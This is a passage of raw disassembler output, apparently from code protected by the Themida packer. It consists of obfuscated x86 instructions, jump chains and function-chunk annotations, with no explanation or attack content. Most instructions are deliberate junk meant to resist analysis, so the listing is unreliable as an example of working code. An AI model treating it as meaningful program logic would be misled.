pop esi sub esi, 1A303338h add edi, esi pop esi add edi, 2 push 0CC3h jmp loc_593CA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5955E8: ; CODE XREF: sub_58F5B5+516Aj add ebp, 0F4D74686h mov ebx, ebp pop ebp inc ebx xchg ebp, ebx not ebp jmp loc_5939F4 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5955FB: ; CODE XREF: sub_58C17E+B5D8j pop edi push esi jmp loc_5954A0 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_595602: ; CODE XREF: sub_5916C4+50FFj mov cl, 0B3h or dh, cl jmp loc_58BD2B ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59560B: ; CODE XREF: Themida_:0058CB84j mov [esp], edi mov edi, esp sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_58ECC0 ; --------------------------------------------------------------------------- loc_595620: ; CODE XREF: Themida_:0058EB6Fj not eax xchg eax, [esp] pop ebp push ebx mov ebx, 14F557Ch dec ebx push ebx not dword ptr [esp] pop ebx jmp loc_595955 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_595637: ; CODE XREF: sub_595E21-9169j dec ebx jnp loc_590D69 shr ebx, 7 jns loc_5932C5 sub ebx, 0FFFDBA48h jmp loc_591AC2 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] ; =============== S U B R O U T I N E ======================================= sub_595655 proc near ; CODE XREF: sub_597716-D0BDj var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058A919 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0058C4F8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058CA3D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058D27D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058D526 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F7E2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058F954 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00592607 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00593973 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059440A SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00595CE3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00597048 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00597F78 SIZE 0000001F BYTES push ebx mov ebx, 0F3C73F1h and ebx, 297B411Ah push edx mov edx, 4238301Ch sub edx, 0FFFFFFFFh neg edx or edx, 33EB3B39h jmp loc_595CE3 sub_595655 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_59567A: ; CODE XREF: Themida_:00594461j mov ecx, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add ecx, ebx jmp loc_592399 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59568E: ; CODE XREF: sub_590467+Fj shr ebx, 1 xor ebx, 0EA17DB00h xor esi, ebx jmp loc_58B4CE ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_59569D: ; CODE XREF: Themida_:0058F34Dj mov cl, 64h and bl, cl jmp loc_5925F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5966C1 loc_5956A6: ; CODE XREF: sub_5966C1+C5Ej push eax mov eax, 6C03719Fh or edx, eax pop eax sub edx, 5A75247Ah jmp loc_58C210 ; END OF FUNCTION CHUNK FOR sub_5966C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5956BA: ; CODE XREF: sub_5916C4-D8Bj or eax, eax jz loc_5913B3 sub esp, 4 mov [esp+4+var_4], ecx push edx push esi jmp loc_58AC58 ; --------------------------------------------------------------------------- loc_5956CF: ; CODE XREF: sub_5916C4-B24j add ecx, eax jmp sub_5936D6 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5956D6: ; CODE XREF: Themida_:0058F0BDj ; Themida_:00596909j jnp loc_597F70 sub dh, 0B2h jmp loc_58F8F2 ; --------------------------------------------------------------------------- not eax inc eax mov al, cl loc_5956E9: ; CODE XREF: Themida_:0058DD4Cj shr esi, 1 sub esi, 86EDEA3Dh mov edx, esi jmp loc_58B1BF ; --------------------------------------------------------------------------- loc_5956F8: ; CODE XREF: Themida_:0058E57Aj mov [esp], edx mov edx, 4 jmp loc_593102 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_595705: ; CODE XREF: sub_5916C4+349Cj add ecx, 4 push ebp mov ebp, 50CA6A0Eh jmp loc_592A17 ; --------------------------------------------------------------------------- loc_595716: ; CODE XREF: sub_59762D-AFBFj ; sub_5916C4+319j shl ecx, 3 neg ecx and ecx, 61524015h push ebp mov ebp, 0EEAED357h sub ecx, ebp jmp loc_58DCC0 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59572E: ; CODE XREF: Themida_:0059456Cj ; Themida_:0059677Cj sub eax, 599D6AFAh add ebp, eax jmp loc_593EDB ; --------------------------------------------------------------------------- loc_59573A: ; CODE XREF: Themida_:005904A4j mov ax, [esp] push ebp mov ebp, esp jmp loc_594A4E ; --------------------------------------------------------------------------- loc_595746: ; CODE XREF: Themida_:0058D9DBj push ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59574E: ; CODE XREF: Themida_:005910A9j neg ah add ah, 0EDh xor dl, ah pop eax not dl xor dl, 50h dec dl xor dl, 2Ch sub al, dl pop edx sub al, 9Bh jmp loc_596B8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_59576A: ; CODE XREF: sub_590010-2B7Ej xchg edi, [esp+0] pop esp jmp loc_592C35 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_595773: ; CODE XREF: sub_59762D-156Fj or ebx, 73BA6790h jno loc_5961CB sub ebx, 4AE42B21h mov ebp, ebx xor al, 0D7h loc_595789: ; CODE XREF: Themida_:0058C90Fj sub dh, 1 jmp loc_592996 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_595791: ; CODE XREF: sub_595E21-709Bj push [esp-8+arg_4] pop edi push ecx mov ecx, esp push 5C0Bh mov [esp+0], esi mov esi, 4 add ecx, esi pop esi jmp loc_58A617 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5957AD: ; CODE XREF: sub_58C17E-11Fj add edx, ecx add edx, 3FC579D0h jmp loc_58CAF7 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_5957BA: ; CODE XREF: sub_590467-6070j sub esi, 4 push esi push [esp+arg_0] pop esi pop dword ptr [esp+0] mov esp, [esp-4+arg_0] mov [esp-4+arg_0], eax mov ebx, [esp-4+arg_0] add esp, 4 push 5641h mov [esp-4+arg_0], edx push eax jmp loc_59780B ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_5957E3: ; CODE XREF: Themida_:0058DB40j xor ebx, 5345005Bh shr ebx, 7 and ebx, 307329h jmp loc_58F458 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5957F7: ; CODE XREF: sub_5916C4+A93j pop eax jmp loc_58B765 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5936D6 loc_5957FD: ; CODE XREF: sub_5936D6+9j mov dh, al jmp loc_59681E ; END OF FUNCTION CHUNK FOR sub_5936D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_595804: ; CODE XREF: sub_592D25-246Dj sub edi, 199F0951h sub esp, 4 mov [esp+0Ch+var_C], ebp sub esp, 4 mov [esp+10h+var_10], ebx jmp loc_5923AC ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_595821: ; CODE XREF: Themida_:0058FD0Fj add ebp, 0FFFFFFFFh shl ebp, 2 xor ebp, 0F955BED6h add eax, ebp pop ebp push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp btc [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59584A: ; CODE XREF: Themida_:00590E6Cj pop ecx push edx push ebx mov ebx, 4B1E1C5Bh jmp loc_58DA71 ; --------------------------------------------------------------------------- loc_595857: ; CODE XREF: Themida_:00591ECBj sub ebx, 0CF1CFB3Ah jmp loc_58FD14 ; --------------------------------------------------------------------------- loc_595862: ; CODE XREF: Themida_:0058CD5Ej sub esi, ecx pop ecx xor esi, 0D5B4B866h mov edi, esi pop esi jmp loc_58D630 ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_5947CE ; --------------------------------------------------------------------------- loc_595898: ; CODE XREF: Themida_:0059425Dj xchg eax, esi not eax xchg eax, esi sub esi, 6B233209h add esi, 49C1B86Bh sub ebp, 44FD2242h add ebp, esi add ebp, 44FD2242h pop esi push edi mov edi, esp jmp loc_59193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5958BF: ; CODE XREF: sub_5916C4-4C8Cj mov ch, 3Ch add al, ch pop ecx sub al, dh sub al, 3Ch pop edx add al, 0ADh jmp loc_590845 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5958D0: ; CODE XREF: Themida_:005941F3j mov [esp], ebx mov ebx, 36DE3844h push edx push ebx jmp loc_58A95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5958DF: ; CODE XREF: sub_58C17E+85j ; Themida_:loc_58DB89j push [esp+6+var_8+2] mov ebx, [esp+0Ah+var_C+2] add esp, 4 jmp loc_598030 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5958F0: ; CODE XREF: sub_5EC2E8-5F4D8j inc cl jmp loc_58DC36 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_5958F7: ; CODE XREF: Themida_:00593DCAj pop edx shl bh, 2 or bh, 8Eh jmp loc_59457F ; --------------------------------------------------------------------------- loc_595903: ; CODE XREF: Themida_:0058C729j sub ah, 59h and dh, ah pop eax jmp loc_58A8FA ; =============== S U B R O U T I N E ======================================= sub_59590E proc near ; CODE XREF: sub_590010-584Ej arg_0 = word ptr 4 ; FUNCTION CHUNK AT 0058DFDF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058E8A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00594A14 SIZE 00000020 BYTES push ebx push ecx push 1F0F3EEDh pop ecx add ecx, 17D3F90Eh jmp loc_594A14 sub_59590E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_595921: ; CODE XREF: sub_58C17E+1163j pop edi neg ecx neg ecx shr ecx, 5 xor ecx, 22785E3Ch jmp loc_58D869 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596CA1 loc_595934: ; CODE XREF: sub_596CA1-C757j mov ebx, esp jmp loc_5923CB ; END OF FUNCTION CHUNK FOR sub_596CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59593B: ; CODE XREF: sub_58F5B5+7520j jno loc_590DA6 push 1A89h mov [esp+4+var_4], ebx push ebp jmp loc_58A83F ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_59594F: ; CODE XREF: sub_59524C-ABC8j pop ecx jmp loc_595D14 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_595955: ; CODE XREF: Themida_:00595632j push edx mov edx, 29344E4Dh neg edx jmp loc_5917C5 ; --------------------------------------------------------------------------- loc_595962: ; CODE XREF: Themida_:00597FC5j push edx mov edx, 2 jmp loc_58EE33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59596D: ; CODE XREF: sub_5916C4-1B43j mov dx, word ptr [esp-10h+arg_C] push esi sub esp, 4 push esp pop [esp-4+arg_0] push 32D9h mov [esp-4+arg_0], ecx mov ecx, 4 add [esp-4+arg_4], ecx pop ecx push [esp-8+arg_4] pop esi push ebx mov ebx, esp jmp loc_58E859 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_595997: ; CODE XREF: Themida_:0058AAF7j add al, 98h sub al, 0C4h sub al, bl add al, 0C4h jmp loc_594645 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_5959A4: ; CODE XREF: sub_5916CB-65F6j pop ecx push esi mov esi, 1BFD0BB5h and esi, 35730607h add esi, 6B84D5DCh sub edi, esi jmp loc_58E4E3 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_5959BE: ; CODE XREF: sub_592D25-8CCj mov edx, 4A728C0Dh add ecx, edx pop edx mov eax, ecx pop ecx and edx, eax jmp loc_58A4EA ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_5959D0: ; CODE XREF: Themida_:005908AEj add bl, ch pop ecx jmp loc_593AD0 ; --------------------------------------------------------------------------- loc_5959D8: ; CODE XREF: Themida_:0058F06Dj push ebp push ecx mov ecx, 7E76029Fh jmp loc_5923DB ; --------------------------------------------------------------------------- loc_5959E4: ; CODE XREF: Themida_:0058D305j sub ebp, 144BD588h mov ecx, ebp pop ebp add [esp+8], ecx pop ecx sub esp, 4 mov [esp], edi mov edi, 56770CD0h or edi, 29AA08FBh jge loc_591849 and edi, 13022E1Fh xor dl, 84h pop ecx ; START OF FUNCTION CHUNK FOR sub_58C17E loc_595A16: ; CODE XREF: sub_58C17E+3361j and ecx, 6CA03396h xchg edx, ecx not edx jmp loc_58FA20 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_595A25: ; CODE XREF: Themida_:0058DF9Bj not esi jmp loc_58C426 ; --------------------------------------------------------------------------- loc_595A2C: ; CODE XREF: Themida_:0058CE67j xor eax, ebx push 7D57h mov [esp], edi push eax push 3D31h jmp loc_593DBB ; --------------------------------------------------------------------------- push 25F0h mov [esp], esi push edi mov edi, esp jmp loc_58CEFD ; --------------------------------------------------------------------------- loc_595A51: ; CODE XREF: Themida_:00596267j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, 2 xchg ecx, [esp] mov esp, [esp] push ebx mov bl, dl push esi mov esi, esp add esi, 4 push ebp mov ebp, 0B704854h shl ebp, 5 jmp loc_58FA62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_595A83: ; CODE XREF: sub_595123-5CEBj mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_592139 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_595A8E: ; CODE XREF: sub_5916C4-5BACj sub ebx, eax push edx mov edx, 493A36F6h shr edx, 4 shr edx, 1 shr edx, 6 xor edx, 7F99589Bh sub ebx, edx mov edx, [esp-0Eh+arg_8+2] add esp, 4 push esi mov esi, 7EC06810h jmp loc_58FB7E ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_595ABA: ; CODE XREF: Themida_:00591258j mov dh, 7Eh push ecx mov cl, 68h sub dh, cl mov ecx, [esp] jmp loc_58B9B2 ; --------------------------------------------------------------------------- loc_595AC9: ; CODE XREF: Themida_:00593530j push esp jmp loc_58E63D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_595ACF: ; CODE XREF: sub_590010:loc_590545j jmp loc_58C60A ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_595AD4: ; CODE XREF: sub_5EC2E8-6039Aj sub esi, eax pop eax jmp loc_58B00A ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_595ADC: ; CODE XREF: Themida_:0058EA74j mov ebx, [esp] add esp, 4 jmp loc_591130 ; --------------------------------------------------------------------------- loc_595AEA: ; CODE XREF: Themida_:0058A99Bj mov dh, 8Fh mov cl, dh pop edx xor bl, cl pop cx sub al, bl pop ebx sub esp, 4 jmp loc_593FC2 ; --------------------------------------------------------------------------- loc_595AFE: ; CODE XREF: Themida_:0059719Bj xor ebx, 293617CAh not ebx jmp loc_58BFBA ; --------------------------------------------------------------------------- loc_595B0B: ; CODE XREF: Themida_:0058E31Cj pop ebx mov edx, ecx pop ecx jmp loc_59712B ; --------------------------------------------------------------------------- loc_595B14: ; CODE XREF: Themida_:0058D9EBj add edx, esi jmp loc_59620C ; --------------------------------------------------------------------------- loc_595B1B: ; CODE XREF: Themida_:0058B393j add esi, 4 sub esp, 4 mov [esp], esi jmp loc_5973E0 ; --------------------------------------------------------------------------- loc_595B2F: ; CODE XREF: Themida_:00595C51j add ebx, 0B96F61ABh sub esi, ebx jmp loc_5973E9 ; --------------------------------------------------------------------------- loc_595B3C: ; CODE XREF: Themida_:0058B054j mov esp, [esp] jmp loc_58A4F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_595B44: ; CODE XREF: sub_5938B9-81CFj dec ebx push edi mov edi, 2E142FB7h add edi, 3A183B9Dh add edi, 0D3EDC0D9h jmp loc_58E88B ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_595B5C: ; CODE XREF: sub_590467+285Fj shr ecx, 3 sub ecx, 631E21DEh xor ecx, 9CE202A6h add esi, ecx pop ecx xchg esi, [esp-0Eh+arg_8+2] jmp loc_591AAC ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push eax mov eax, esp add eax, 4 jmp loc_594767 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_595B88: ; CODE XREF: sub_590B70+1728j add eax, esi pop esi sub eax, edx jmp loc_58B512 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_595B92: ; CODE XREF: sub_59524C-57EFj dec ecx add ecx, 27F950B4h sub edi, ecx pop ecx mov ecx, edi push [esp-8+arg_4] mov edi, [esp-4+arg_0] add esp, 4 add esp, 4 sub edi, ecx pop ecx xor eax, edi pop edi push ebx mov ebx, 6FE5266Bh push edx mov edx, 5F3A1884h jmp loc_58A65E ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_595BC4: ; CODE XREF: Themida_:0058AC3Ej inc ebp jl loc_591DAB dec ebp jo loc_59066E xor ebp, 0C8391E51h mov ecx, ebp ; =============== S U B R O U T I N E ======================================= sub_595BDA proc near ; CODE XREF: sub_590467+312Cj var_4 = dword ptr -4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058AC50 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058ACF4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058B22C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058C7F9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058D149 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058DED8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058FD39 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005910AE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591400 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005922E0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005938EF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00593ABC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00593E3F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00594A46 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00594B4F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005962DA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00596D28 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597D69 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00597E45 SIZE 0000000D BYTES sub esp, 4 jmp loc_58FD39 sub_595BDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_595BE2: ; CODE XREF: sub_5938B9-3F10j ; sub_592D25+28j pop ecx jmp loc_597C49 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_595BE8: ; CODE XREF: sub_590010:loc_596ADAj ; Themida_:00596DAFj shl esi, 5 not esi jmp loc_5911E9 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_595BF2: ; CODE XREF: sub_58F5B5+571j push eax mov eax, 3B28336Dh xchg eax, ebp not ebp push eax jmp sub_592D12 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_595C01: ; CODE XREF: Themida_:0058FB35j xchg esi, ebx sub ebx, 18070F02h jmp loc_58BB63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_595C0E: ; CODE XREF: sub_5916C4-3305j ; Themida_:00590778j push 0CE5h jmp loc_5946A9 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_595C18: ; CODE XREF: Themida_:00591F12j push ax push ebx mov bh, 39h jmp loc_59543A ; --------------------------------------------------------------------------- loc_595C22: ; CODE XREF: Themida_:0058D3FBj mov edx, 4 jmp loc_58EF2E ; --------------------------------------------------------------------------- loc_595C2C: ; CODE XREF: Themida_:00592D0Dj not esi jmp loc_5949A0 ; --------------------------------------------------------------------------- loc_595C33: ; CODE XREF: Themida_:0058C8B7j add ecx, ebp add ecx, 7D9564B1h jmp loc_58BD9C ; --------------------------------------------------------------------------- loc_595C40: ; CODE XREF: Themida_:0058AA4Fj add esi, edx push ebx mov ebx, 64BF3FB0h or ebx, 525954FFh shl ebx, 4 jmp loc_595B2F ; --------------------------------------------------------------------------- loc_595C56: ; CODE XREF: Themida_:0058E699j add ah, dl pop edx sub bl, ah pop eax jmp loc_59077D ; --------------------------------------------------------------------------- loc_595C61: ; CODE XREF: Themida_:005914C4j mov eax, 54BC13D5h xor edi, eax pop eax add esi, edi pop edi jmp loc_59118F ; --------------------------------------------------------------------------- loc_595C71: ; CODE XREF: Themida_:00590113j add edi, 42464B0Eh add edi, 46391B30h xor edi, 36E21E10h jmp loc_590118 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_595C88: ; CODE XREF: sub_5EC2E8-54CC0j xchg edx, [esp+2Ch+var_2C] pop esp mov ebp, [esp+28h+var_28] jmp loc_5929A0 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_595C94: ; CODE XREF: sub_58C17E-1A8j inc bl jmp loc_596F17 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_595C9B: ; CODE XREF: sub_590467+1747j mov ch, dl mov edx, [esp+6+var_6] add esp, 4 add ch, 5Eh add bl, ch mov ecx, [esp+0] jmp loc_591F65 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_595CB3: ; CODE XREF: Themida_:005977E4j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp jmp loc_58C7A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_595CCD: ; CODE XREF: sub_590467+341Aj mov edx, [esp+0] add esp, 4 jmp loc_590163 ; --------------------------------------------------------------------------- loc_595CDB: ; CODE XREF: sub_590467+1B05j push eax mov al, 9Eh jmp loc_58BAFA ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_595CE3: ; CODE XREF: sub_595655+20j shl edx, 4 jmp loc_597048 ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_595CEB: ; CODE XREF: sub_58F5B5+2D8Fj pop ebx mov eax, edi jmp loc_597F3B ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_595CF3: ; CODE XREF: sub_5919E2-1647j xor eax, 63C32DCBh jmp loc_590005 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- loc_595CFD: ; CODE XREF: Themida_:00597155j pop ebp sub esp, 4 mov [esp], ebx push 653E2254h pop ebx xor edx, ebx jmp loc_591EE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_595D14: ; CODE XREF: sub_59524C+704j add edx, 18C4493Ch sub esp, 4 jmp loc_58BF7E ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_595D22: ; CODE XREF: Themida_:00592903j mov eax, 1D6D8F0Bh mov edx, eax pop eax push edx mov edx, 33F6307Fh sub eax, edx pop edx add eax, edx add eax, 33F6307Fh push dword ptr [esp] jmp loc_58AA6E ; --------------------------------------------------------------------------- loc_595D42: ; CODE XREF: Themida_:00597CDFj and ebx, 1F742CEAh jo loc_593201 xor ebx, 1420EEh mov ecx, ebx pop ebx add edi, 4E9335EAh jmp loc_5973B9 ; --------------------------------------------------------------------------- loc_595D62: ; CODE XREF: Themida_:00596CBCj mov [esp], esi jmp loc_590529 ; --------------------------------------------------------------------------- loc_595D6A: ; CODE XREF: Themida_:0058B619j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_595D6F: ; CODE XREF: sub_58C17E+A299j xor eax, ecx push 5AA2h mov [esp+6+var_8+2], eax xchg ecx, [esp+6+var_8+2] not ecx xchg ecx, [esp+6+var_8+2] mov eax, [esp+6+var_8+2] push edx sub esp, 4 push esp pop dword ptr [esp+0] push ecx mov ecx, 4 jmp loc_5926EA ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_595D97: ; CODE XREF: Themida_:loc_59062Cj push eax mov eax, 65BC6DB1h jmp loc_5902FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_595DA2: ; CODE XREF: sub_5916C4+4D5Cj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp jmp loc_58ABE9 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_595DB6: ; CODE XREF: sub_591059+303Aj add esp, 4 jmp loc_59715A ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_595DBE: ; CODE XREF: Themida_:0058D8A0j add ebp, 4 jmp loc_58E70E ; --------------------------------------------------------------------------- loc_595DC9: ; CODE XREF: Themida_:0058FB0Fj or edi, 6D4A01F8h dec edi dec edi push ebx push edi push 3378760Ch pop edi sub edi, 17B214F1h and edi, 3A2A39E7h jno loc_58B573 add edi, 0EF1111A4h mov ebx, edi pop edi or edi, ebx ; START OF FUNCTION CHUNK FOR sub_5916CB loc_595DF6: ; CODE XREF: sub_5916CB+150Bj add [ebx], eax pop ebx pop edx pop eax loc_595DFB: ; CODE XREF: sub_595655-5CFEj push 3CB8h mov [esp+0Ch+var_C], ebx mov eax, [esp+0Ch+var_C] jmp sub_5948B7 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_595E0B: ; CODE XREF: sub_595E21+1C6Dj push edx mov edx, 65526119h jmp loc_594037 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_595E16: ; CODE XREF: sub_58F5B5+83EAj pop edi push ebp mov ebp, esp push ebx push edx jmp sub_5938B9 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; =============== S U B R O U T I N E ======================================= sub_595E21 proc near ; CODE XREF: sub_58F836+3F03j var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 